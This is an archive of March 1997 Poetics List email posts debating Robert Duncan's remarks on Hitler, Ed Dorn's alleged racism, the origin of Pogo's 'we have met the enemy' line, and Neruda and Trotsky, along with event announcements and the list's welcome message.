"Reject Mae West as vulgar or Hitler as the enemy, reject them as fellows of our kind, and you have to go to battle against the very nature of Man himself, against the truth of things."

I take it that in this Duncan is saying that the violence Hitler summoned, marshaled, represented, and used is a violence deep in humankind. That seems straightforward. I take him to be saying also that we get nowhere to read such violence, in the form of Hitler, as a symbol of something non-human -- an aberration, the enemy, the common enemy -- which we may therefore comfortably ignore or dismiss as "ignorance." Duncan is reminding us that such violence is well inside human nature and history. Hitler is not an isolated or aberrant case. Yes, this is far from "foolish." It is true.

True, yes; but, it doesn't mean, to my ears at least, what Lisa makes it mean. As I saw Duncan resist actively what he thought was evil on several occasions, I don't think it means "forget about Dorn's racism." Indeed, I think it counsels

precisely against such forgetting. We can no more ignore or dismiss Dorn's racism than we can reject Hitler as some aberrant irrelevant "enemy."

Lisa concludes her short note by saying: "I kind of thought it (i.e. the reference to Duncan) made sense in the context of the Dorn discussion since there has been talk of counteracting ignorance with physical violence."

Indeed, it does make sense. And by offering Ed a knuckle sandwich I was making the same point Duncan was making. Or, the point Pogo made so eloquently: "I have seen the enemy and we are it." But, it's not ignorance. Hitler was brilliant not ignorant. Dorn's active excessive mind and linguistic force need no underlining. His racism, like Hitler's, must be resisted.

I'm struck by the blandness of a word like ignorance in this case, and by -- I'm sorry to say -- the self-praise. If racism is ignorant, then "I" must be wise, and of course that should do the trick I guess.

Let me ask Joe Safdie directly -- since he knows Dorn over a long period and is Jewish -- did Dorn *ever* taunt you as a Jew or "jew-bait" you in any way? A truthful answer will clear up -- and I think end -- this creepiness. Joe knows the truth (in a funny way, so do I). And just needs to propose the truth here.

Tom Mandel

Tom Mandel
****
Screen Porch * [redacted]
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

↑ Index

6. **main**
Re: Holy Moly!
Sat 1 Mar 1997

---

i'd say that duncan's right on: rejection would push away and make other what is human (i.e., the problem of evil). hitler himself used rejection as a solution: a "final" solution. this solved nothing.

dan featherston

↑ Index

7. Michael Magee
Re: Holy Moly!
Sat 1 Mar 1997

I agree - Duncan's quote reminded me of a poem I just read with some high-school students I (along with many others) tutor on Mondays and Fridays. The poem is called "The Hangman" - its a formal poem in rhymed iambic tetrameter quatrains and is ostensibly a moral about the holocaust (which they're studying). A man in the "village" volunteers to help the hangman execute people thinking that in doing so he'll save himself - of course in the end, after everyone else is dead, the hangman kills him too. As a simple moral its fine, I suppose, but th problem is this hangman - he's purely allegorical and one finds oneself either comfortably distant from him ("Thank god there's no hangman around here") or condemning him as pure evil (a version of the devil). Consequently, you don't learn anything about how an event like the holocaust could take place in real space and time. The student s are very street-wise North Philly kids and they reacted with real suspicion - one of them called the hangman "an abstraction." It seems to me that its that sense of "abstraction" - the way it allows Hitler to disappear in the realm of mythology - that Duncan is arguing against. For me its what gives he as well as someone like Creely real political weight even when their "subject matter" is not political.

-Mike Magee.

According to main: >
> i'd say that duncan's right on: rejection would push away and make other
> what is human (i.e., the problem of evil). hitler himself used rejection
> as a solution: a "final" solution. this solved nothing.
>
> dan featherston
>

↑ Index

8. Michael Magee
Re: Foolishness
Sat 1 Mar 1997

Emerson: "The plays of children are nonsense, but very educative nonsense."

According to [redacted]:
>
> and i hate to beat a dead horse, but what's wrong with "foolishness"
> anyway?... i don't mean the term as in, say, theoretical naivete (whatever
> that might be)... i mean it in a rather literal sense...

>
> i think a certain touch of juvenilia might help allay the various
> desperations that seem to permeate critical and aesthetic practice, and
> community... not only humor, but nonsense as such... as in 'stop making
> sense'...
>
> granted there may be limits to same, but who's to say?... serious fun can
> be, well, fun, why not?...
>
> best,
>
> joe
>

↑ Index

9. **DS**
(no subject)
Sat 1 Mar 1997

> *Indeed, it does make sense. And by offering Ed a knuckle sandwich I was making the same point Duncan was making. Or, the point Pogo made so eloquently: "I have seen the enemy and we are it." But, it's not ignorance.*

Ah, Walt Kelly there is another ambivalent figure. He seemed to buy into cold war propaganda in a way that left room for a great deal of humanism & thoughtfulness. Yet when you read him he would regularly punctuate his very endearing foolishness with something completely anti-absorptive - for me any-way - something really foolish in the sense it is being used here.

dan

↑ Index

10. **Maria Damon**
Re: Holy Moly!
Sat 1 Mar 1997

> *According to main: >*
> *i'd say that duncan's right on: rejection would push away and make other*
> *what is human (i.e., the problem of evil). hitler himself used rejection*
> *as a solution: a "final" solution. this solved nothing.*
>
> *dan featherston*

there's a difference between rejection and denial. it is not a good idea to reject "hitler" as an abstraction, an aberration, "it can't happen here," or it can't happen within us etc. however, it is not a good idea to pretend we didn't know what hitler, or other less demonized members of society, including ourselves, did, or that to pretend that it;s not really that big of a deal, because, as they say in The Producers, "the fuhrer was an excellent dancer, he was much better than churchill."

↑ Index

11. Maria Damon

(no subject)

Sat 1 Mar 1997

At 9:29 AM +1300 3/2/97, DS wrote:
>>Indeed, it does make sense. And by offering Ed a knuckle sandwich I was
>>making the same point Duncan was making. Or, the point Pogo made so
>>eloquently: "I have seen the enemy and we are it." But, it's not ignorance.

isn[t it: "...and he is us"?

↑ Index

12. Steven Marks

Re: your mail

Sat 1 Mar 1997

On Sat, 1 Mar 1997, Maria Damon wrote:

> *At 9:29 AM +1300 3/2/97, DS wrote:*
> *Indeed, it does make sense. And by offering Ed a knuckle sandwich I was*
> *making the same point Duncan was making. Or, the point Pogo made so*
> *eloquently: "I have seen the enemy and we are it." But, it's not ignorance.*
>
> *isn[t it: "...and he is us"?*

I think the actual quote is: "We have met the enemy and they is us."

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

13. jarnot
(no subject)
Sat 1 Mar 1997

In response to the ongoing Dorn/Duncan thread i just want to say two things:

one/ yes, ron, thank you for reminding me that duncan was filled with foolishness. as a duncan devotee i responded emotionally to tom's post (using the words foolish and duncan in the same sentence).

two/ yes, tom, of course issues of anti-semitism and racism are serious. but i wasn't trying to be self-congratulatory or more "evolved" by saying racists are "ignorant." I'm talking about the ignorance encouraged by the powers that be (corporate /hegemonic/media/USA) to keep marginalized groups separated from each other by convincing them that they should be enemies. I teach at Long Island University in Brooklyn where 90% of my inner city students are convinced that they are oppressed exclusively by Jews. Their fierce anti-semitism only begins to fade when they become informed of the complexities of the issue, of the ways in which their oppression is similar to that of the Jews, and that the Jews in their neighborhood who seem so well-off are hardly the people who run the country. This is what I mean by the ignorance in relation to various xenophobias. I'm not saying that anyone's racism should be disregarded, but the truth is that we live in a violent racist homophobic country, where maybe "The Dorn Discussion" obscures the bigger problem.

ciao, lisa

↑ Index

14. robert drake
Re: your mail
Sat 1 Mar 1997

several versions of this quote are to be found in the corpus. the title of a 1972 Pogo collection is _Pogo: We Have Met the Enemy and He is Us_; likewise, Pogo uses this version of the phrase in the final panel of the daily strip for "earth day" 1971. these late versions should probably be considered the canonical form. the earliest verified occurance is in the introduction to the 1952 collection _The Pogo Papers_ --quoted here in context, appropos of the ongoing discussion:

"...Traces of nobility, gentleness and courage persist in all people, do what we will to stamp out the trend. So, too, do those characteristics which are ugly. It is just unfortunate that in the clumsy hands of a cartoonist all traits become ridiculous. leading to a certain amount of self-conscious expostulation and the desire to join battle.

There is no need to sally forth, for it remains true that those things which make us human are, curiously enough, always close at hand. resolve then, that on this very ground, wtih small flags waving and tinny blasts on tiny trumpets, we shall meet the enemy , and not only may he be ours, he may be us." --Walt Kelly

[for "cartoonist" read "poet"... or "critic"...]

asever
lbd

> *On Sat, 1 Mar 1997, Maria Damon wrote:*
>
> *At 9:29 AM +1300 3/2/97, DS wrote:*
> *Indeed, it does make sense. And by offering Ed a knuckle sandwich I was making the same point Duncan was making. Or, the point Pogo made so eloquently: "I have seen the enemy and we are it." But, it's not ignorance.*
>
> *isn[t it: "...and he is us"?*
>
> *I think the actual quote is: "We have met the enemy and they is us."*
>
> *Steven Marks*

↑ Index

15. George Bowering

Re: Holy Moly!

Sat 1 Mar 1997

> *I agree -*

So do I. Duncan was saying something that was not all that much different from what Williams was suggesting in _In the American Grain_, that America and Americans contain both Pere Rasles AND Cotton Mather, bith Boone and Franklin, and that if one does not realize that, one will continue the bad psychological health the Puritans were prone too, as WCW saw them. He even shows Valery Larbaud telling him this in the Rasles chapter.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

16. George Bowering
Re: Pogo
Sat 1 Mar 1997

> *Ah, Walt Kelly there is another ambivalent figure. He seemed to buy into cold war propaganda in a way that left room for a great deal of humanism & thoughtfulness.*

Wow, what's happened to my memory? I recall Kelly as a satirist against cold war positions!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

17. George Bowering
Re: your mail
Sat 1 Mar 1997

> *I think the actual quote is: "We have met the enemy and they is us."*

Of course it is. The bellicose statement that Kelly was parodying was

"We have met the enemy and they are ours."

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

18. KENT JOHNSON
Weinberger, Neruda, Stalin
Sun 2 Mar 1997

Folks:

After the brief exchange on this list with Mark Weiss (from ten days or so ago) I queried Eliot Weinberger re: the matter of Neruda's relationship to Trotsky's murder in Mexico City. I have EW's permission to share part of his reply with the list. One would need to look further into the whole issue, of course, but it would seem that there are at least some serious grounds for doing that.

Twenty Love Poems and a Big Favor for Comrade Stalin?

Anyway, FYI:

Kent

> *To:* [redacted]
> *Date sent:* *Sat, 1 Mar 1997 18:20:57 +0000*

> ... Anyway-- got your Neruda/Stalin package. It is universally
known
> that Neruda was an active participant in the first (Siquieros) plot to
> assassinate Trotsky. As the Chilean consul in Mexico City, he supplied the
> conspirators with visas or passports (I forget which) so that they could
> escape to Chile. What has been debated, however, is Neruda's
> knowledge/complicity in the second (successful) attempt. So he is clearly on
> a different level of shameful politics than Uncle Ezra, who had his opinions
> but never tried to kill anybody.
> The political climate of the time is evoked in Paz's "Itinerario"--
> with much about STalinists, Trotskyites etc in Mexico, and a passing ref to
> Neruda's involvement.
> By the way, your mention of Siquieros as one of the two great
> Mexican muralists (with Rivera) forgets a far greater muralist than
> Siquieros (who looks worse and worse as the years go on): Orozco.

↑ Index

19. Rachel Loden
we have met the enemy
Sun 2 Mar 1997

George Bowering wrote:
>
> >I think the actual quote is: "We have met the enemy and they is us."
>
> Of course it is. The bellicose statement that Kelly was parodying was
>
> "We have met the enemy and they are ours."

Yes--apparently it all started with the introduction to _Pogo Papers_ (1952). Here he seems to be in dialogue with Robert Duncan:

"Specializations and markings of individuals everywhere abound in such profusion that major idiosyncrasies can be properly ascribed to the mass. Traces of nobility, gentleness and courage persist in all people, do what we will to stamp out the trend. So, too, do those characteristics which are ugly. It is just unfortunate that in the clumsy hands of the cartoonist all traits become ridiculous, leading to a certain amount of self-conscious expostulation and the desire to join battle.

"There is no need to sally forth, for it remains true that those things which make us human are, curiously enough, always close at hand. Resolve, then, that on this very ground, with small flags waving and tiny blasts of tiny trumpets, we shall meet the enemy, and not only may he be ours, he may be us."

Rachel L.

↑ Index

20. George Bowering

Re: back to bp

Sun 2 Mar 1997

> *No, not one bit similar. bp's is a short series of prose bursts about Billy. Very irrevent, very poetic. Check it out. It's in another book of his selected prose works, but I don't have my books with me now to give me the reference. Anyone else?*
>
> *charles*

It's in the book that Ondaatje and I edited (after a conference with other bpers including Ellie) called _An H in the Heart_, Toronto, McClelland & Stewart, 1994.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

21. Rachel Loden
Re: Pogo
Sun 2 Mar 1997

George Bowering wrote (the last bit):
>
> >Ah, Walt Kelly there is another ambivalent figure. He seemed to buy into
> >cold war propaganda in a way that left room for a great deal of humanism &
> >thoughtfulness.
>
> Wow, what's happened to my memory? I recall Kelly as a satirist against
> cold war positions!

Yes, how was he ambivalent? At the height of McCarthyism--when people were cowering all over the country--he introduced Simple J. Malarkey, clearly modeled after Senator Joe, and with similar obsessions. I was 4 at the time but Kelly was a hero in my house.

Rachel L.

↑ Index

22. Steven Marks
Re: Pogo
Sun 2 Mar 1997

On Sun, 2 Mar 1997, Rachel Loden wrote:

> *Wow, what's happened to my memory? I recall Kelly as a satirist against cold war positions!*
>
> *Yes, how was he ambivalent? At the height of McCarthyism--when people were cowering all over the country--he introduced Simple J. Malarkey, clearly modeled after Senator Joe, and with similar obsessions. I was 4 at the time but Kelly was a hero in my house.*

I seem to remember a character modeled after Spiro Agnew that was a hyena. And then there was the Pogo presidential campaign in which his swamp buddies resorted to some familiar tactics. I, too, wonder what Walt Kelly's clay feet look like.

Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

23. Charles Bernstein

Zukofsky Conference at UB (fwrd from Robert Creeley)

Sun 2 Mar 1997

LOUIS ZUKOFSKY CONFERENCE

Poetics Program

University at Buffalo, SUNY

Friday, April 25th

Panel: 10:00 am -- 12:30 pm

Joseph Conte, Burton Hatlen and John Taggart

(Poetry Collection, 420 Capen Hall, North Campus, SUNY-Buffalo)

Panel: 2:30 pm -- 4:30 pm

Ira Nadel and Paul Zukofsky

(Poetry Collection)

Recital: 6:30 pm -- 8:00 pm

Udo Kasemets

(Hallwalls)

Saturday, April 26th*

Panel: 10:30 am -- 1:00 pm

Stephen Fredman, Michele Leggott and Robert Creeley

(Poetry Collection)

Reception: 5:00 pm -- 8:00 pm

(64 Amherst Street / [redacted])

****

This Wednesdays at Four Plus Special Event is sponsored by the Poetics Program, the English Department, the Poetry/Rare Books Collection, the David Gray Chair of Poetry and Letters, and the Samuel P. Capen Chair of Poetry and the Humanities. Particular thanks to Joel Kuszai for his generous help and advice and to Marilyn Dunlap for her care and patience.

All panels will take place in the Poetry/Rare Books Collection, 420 Capen Hall. Udo Kasemets' performance of a selection of his compositions for Louis Zukofsky's 80 Flowers will take place at Hallwalls, 2495 Main Street, Buffalo, New York.

Persons wishing further information can call [redacted]. Those wanting help with hotel reservations should call or write immediately: Louis Zukofsky Conference, Poetics Program, 438 Clemens Hall, University at Buffalo, SUNY, Buffalo, N.Y. 14260.

↑ Index

24. **DS**

Re: Pogo

Sun 2 Mar 1997

Okay i concede perhaps i have been overly suspicious. Having dicovered him in my teenage years, whcih after all wasn't that long ago, i automatically assumed him to be more of an apologist figure - this was reinforced by interviews/essays he wrote about travelling to eastern europe (I have briefly looked for these but they are not in the house at present) which seemed to take a 'we are more enlightened' line. The S J Malarkey was at the other end of the ambivalence and one i could not align with the 'voice' of his essays. I will read through them again - (next time i have a long bath) I also never fely comfortable with Bumbazine - who luckily disapeared as the series progressed.

Henceforth please consider my opinion under revision.

Dan

At 02:32 AM 3/2/97 -0800, you wrote:
>George Bowering wrote (the last bit):
>>
>> >Ah, Walt Kelly there is another ambivalent figure. He seemed to buy into
>> >cold war propaganda in a way that left room for a great deal of humanism
&
>> >thoughtfulness.
>>
>> Wow, what's happened to my memory? I recall Kelly as a satirist against
>> cold war positions!
>
>Yes, how was he ambivalent? At the height of McCarthyism--when people
>were cowering all over the country--he introduced Simple J. Malarkey,
>clearly modeled after Senator Joe, and with similar obsessions. I was 4
>at the time but Kelly was a hero in my house.
>

>Rachel L.
>
>

↑ Index

25. Dan Machlin
The Marginalization of Poetry @ SEGUE
Sun 2 Mar 1997

The Segue Foundation for Poetry & The Arts
is pleased to announce
-- the poetics event of the season!!

_____
THE MARGINALIZATION OF POETRY, AN EVENING

of responses
to Bob Perelman's
new book from
Princeton University Press

_____

SATURDAY, MARCH 22, 1997 @ 7:30 p.m., Admission $7.00
The Segue Performance Space, 303 East 8th Street, New York City (between Avenues B&C - right off Tompkins Square Park). [redacted]
wine and cheese reception will follow

_____
with:
Bob Perelman
Steve Evans
Ann Lauterbach
Ron Silliman
Juliana Spahr

Moderated by Sean Killian/curated by Sean Killian & Dan Machlin

_____
SEGUE 20th Anniversary (1977-1997)
Roof & Segue Books, Big Allis, Open City, Incisions Arts Prison Workshops, The Segue Performance Space, The Ear Inn Reading Series, The Segue Small-Press Archive for Experimental Poetry & Poetics, HomeGrown Theatre Co., M/E/A/N/I/N/G Magazine, FoWalls Gallery (Brooklyn), Purgatory Pie Press, Individual Artist Projects in Film, Dance, Music, Theatre & Performance. Etc.

And watch for news on Lee Ann Brown's CINEMAKI SPRING ROLLS @ SEGUE (Poetry/Film/Video/All rolled into one). Starting March 27th.

↑ Index

26. Jordan Davis
(no subject)
Sun 2 Mar 1997

Pogo said, "I have met the enemy, and he is us."

It was a play on "I have met the enemy, and he is (h)ours."

Jordan

↑ Index

27. Maria Damon
Re: Weinberger, Neruda, Stalin
Sun 2 Mar 1997

... So(NERUDA) is clearly on
>> a different level of shameful politics than Uncle Ezra, who had his opinions
>> but never tried to kill anybody.
>> ...

i thot ep, as well as broadcasting il duce propoganda to us gis, also tried to find out where they were so he cd pass the info on to italian troops?

↑ Index

28. Tenney Nathanson
Re: Pogo
Sun 2 Mar 1997

I used to own most of the Pogo books (big error to have let em go) but the following isn't something I remember directly: but apparently there was one or more occasion--the Watergate cartoons w Agnew et al (he sure did) being the one I'm pretty sure of--on which lots of papers in which Kelly was syndicated refused to run whole long sequences of Pogo. Apparently there was a backup, less controversial, Pogo that they could run instead. I don't know if Kelly was contractually obligated to do this, or what. But if true it might account for some folks' perception that Kelly went soggy in key periods.

best,

Tenney

At 10:19 AM 3/2/97 -0500, you wrote:
>On Sun, 2 Mar 1997, Rachel Loden wrote:
>
>> >
>> > Wow, what's happened to my memory? I recall Kelly as a satirist against
>> > cold war positions!
>>
>> Yes, how was he ambivalent? At the height of McCarthyism--when people
>> were cowering all over the country--he introduced Simple J. Malarkey,
>> clearly modeled after Senator Joe, and with similar obsessions. I was 4
>> at the time but Kelly was a hero in my house.
>>
>
>I seem to remember a character modeled after Spiro Agnew that was a hyena.
>And then there was the Pogo presidential campaign in which his swamp
>buddies resorted to some familiar tactics. I, too, wonder what Walt
>Kelly's clay feet look like.
>
>Steven
>
>_____
> Steven Marks
>
> http://members.aol.com/swmarks/welcome.html
>_____
>
>

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

↑ Index

29. **Mark Weiss**
Re: Pogo
Sun 2 Mar 1997

Tenney, you may be right, but my memory (perhaps I'm conflating this later period with the McCarthy period) is that a lot of papers ran the strips they objected to on the editorial pages, with the political cartoons, as many still do with

Doonsbury. There's another possible source of confusion: after Kelly's death his widow and others attempted to continue the strip. It was very different in character--I don't remember any political content--but I stopped reading it fairly quickly because it was so disappointing. Someday somebody's going to do a study of the effect of Pogo on American English.

At 07:57 PM 3/2/97 -0700, you wrote:
>I used to own most of the Pogo books (big error to have let em go) but the
>following isn't something I remember directly: but apparently there was one
>or more occasion--the Watergate cartoons w Agnew et al (he sure did) being
>the one I'm pretty sure of--on which lots of papers in which Kelly was
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>periods.
>
>best,
>
>Tenney
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>>Steven
>>

>>_____
>> Steven Marks
>>
>> http://members.aol.com/swmarks/welcome.html
>>_____
>>
>>
>
>----------
>
>tenney nathanson
>
>[redacted]
>[redacted]
>
>http://www.u.arizona.edu/~nathanso/
>
>

↑ Index

30. Alan Jen Sondheim
Re: Pogo
Sun 2 Mar 1997

Actually my father and I do have all the Pogo and they're hardly soggy; in fact there were books put out that were totally political. But there was censorship and alternative scripts involved.

It should have stopped with Walt's death.

I've lived them all.

Alan

On Sun, 2 Mar 1997, Mark Weiss wrote:

> *Tenney, you may be right, but my memory (perhaps I'm conflating this later period with the McCarthy period) is that a lot of papers ran the strips they objected to on the editorial pages, with the political cartoons, as many still do with Doonsbury.*
> *There's another possible source of confusion: after Kelly's death his widow and others attempted to continue the strip. It was very different in character--I don't remember any political content--but I stopped reading it fairly quickly because it was so disappointing.*
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At 07:57 PM 3/2/97 -0700, you wrote:
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On Sun, 2 Mar 1997, Rachel Loden wrote:

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Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

---

tenney nathanson

[redacted]

> [redacted]
>
> *http://www.u.arizona.edu/~nathanso/*

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images: http://www.cs.unca.edu/~davidson/pix/ Telephone [redacted] CuSeeMe: 166.84.250.149 +++++ Editor, Being On Line, Lusitania, 1997

↑ Index

31. Tenney Nathanson

Re: Pogo

Sun 2 Mar 1997

I isn't read the book but I is dreamed the dream....

....I allus liked the part about the cowboys.

At 10:25 PM 3/2/97 -0500, you wrote:
>Actually my father and I do have all the Pogo and they're hardly soggy; in
>fact there were books put out that were totally political. But there was
>censorship and alternative scripts involved.
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>Alan
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>> >know if Kelly was contractually obligated to do this, or what. But if true
>> >it might account for some folks' perception that Kelly went soggy in key
>> >periods.
>> >
>> >best,
>> >
>> >Tenney
>> >
>> >At 10:19 AM 3/2/97 -0500, you wrote:
>> >>On Sun, 2 Mar 1997, Rachel Loden wrote:
>> >>
>> >>> >
>> >>> > Wow, what's happened to my memory? I recall Kelly as a satirist against
>> >>> > cold war positions!
>> >>>
>> >>> Yes, how was he ambivalent? At the height of McCarthyism--when people
>> >>> were cowering all over the country--he introduced Simple J. Malarkey,
>> >>> clearly modeled after Senator Joe, and with similar obsessions. I was 4
>> >>> at the time but Kelly was a hero in my house.
>> >>>
>> >>
>> >>I seem to remember a character modeled after Spiro Agnew that was a hyena.
>> >>And then there was the Pogo presidential campaign in which his swamp
>> >>buddies resorted to some familiar tactics. I, too, wonder what Walt
>> >>Kelly's clay feet look like.
>> >>
>> >>Steven
>> >>

>> >>_____
>> >> Steven Marks
>> >>
>> >> http://members.aol.com/swmarks/welcome.html
>> >>_____
>> >>
>> >>
>> >
>> >----------
>> >
>> >tenney nathanson
>> >
>> >[redacted]
>> >[redacted]
>> >
>> >http://www.u.arizona.edu/~nathanso/
>> >
>> >
>>
>
>_____
>URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html
>Images: http://www.cs.unca.edu/~davidson/pix/ Telephone [redacted]
>CuSeeMe: 166.84.250.149 +++++ Editor, Being On Line, Lusitania, 1997
>
>

---

tenney nathanson

[redacted]
[redacted]

http://www.u.arizona.edu/~nathanso/

↑ Index

32. **Poetics List**

Welcome Message

Mon 3 Mar 1997

Rev. 03-03-97

_____

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
3. Cautions
4. Digest Option
5. Temporarily turning off Poetics mail
6. Who's Subscribed
7. The Electronic Poetry Center (EPC)
8. Poetics Archives at EPC
9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]) and Loss Pequen~o Glazier ([redacted]).]

---

1. About the Poetics List

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

The "list owner" of Poetics is Charles Bernstein: contact him for further information. Joel Kuszai is currently working on the administration of the list. For subscription information contact us at [redacted].

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Cautions

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to
[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "listserv."

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequen~o Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

---

9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

33. David R. Israel
e-signoffs / tradition & innovation
Mon 3 Mar 1997

---

here's a topic --

the conventions that have developed of an email "signature quotation" (sort of the tailend of an epigraph -- a postgraph?) -- one sees this used variously (or, as case may be, uses 'em variously) -- and the notion of raising it as a proper topic amid this august crowd arose just now, when perusing a msg. from my South Asian Lit listserv, wherein -- in a single post (contianing a quoted excerpt of another) I found thus, by happenstance, the following 2 signoffs in tandem:

[1st a bit graphically scrambled, but no matter]

```
    | |  In India, "cold weather" is merely a
> > conventional phrase and has come    | |  into use through the
> > necessity of having some way to distinguish between | |  weather
> > which will melt a brass door-knob and weather which will only    |
> > |  make it mushy.
> >         | |                                  -- MarkTwain
> >
>
```

[& second pristine in all its clarity & irony]

---
i am a bear of very little brain

and long words frighten me
- winnie the pooh

So, what questions? Not sure, in truth -- except to note the prevalence of quotation practice, the variety of use, and perhaps to wonder abt. the useage of a singoff convention for a sort of literary / philosophical / whatever identity tag. Not quite the same, no, as personalized licence plates; more like the sort of gimmicks & fun that folk tend(ed) to develop w/ the (once) new technology of answering machine greeting-message(s), eh?

what say ye?

```
 .
 .....
 ............
 \\\\
```

spoke to Alan he didn't have exact dates arranged, but while I think about it (knowing how early fall budgets are allocated, I hope I am not too late already) I wanted to lodge that little nugget of info in any brains out there looking to present something spiffy and real in the fall. I am certainly hoping to get him out to the west coast if possible, maybe some places can join coffers?

Martin

..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

↑ Index

35. Sylvester Pollet
Re: e-signoffs / tradition & innovation
Mon 3 Mar 1997

I say those quotations are frequently more interesting than the message, but they should be changed now & then.

"Outside of a dog, a book is man's best friend. Inside of a dog, it's too dark to read." Groucho Marx.

(pace, pace, woman's too) sp

↑ Index

36. Mark Wallace
anger and violence
Mon 3 Mar 1997

A colleague of mine, talking about teaching the essays of bell hooks, says that "students always perceive her as very angry and bitter when they read her essays--they get upset that she seems to be taking them to task. Then when I show them a video of her talking about her work and laughing, sometimes they suddenly revise their opinion, because they see her as witty and likeable. In any case, they're far more likely to respond to her personality than they are to her ideas."

What is interesting to her about this, she says, is the issue of how anger and violence relate inside American ideology. To generalize (perhaps too much),

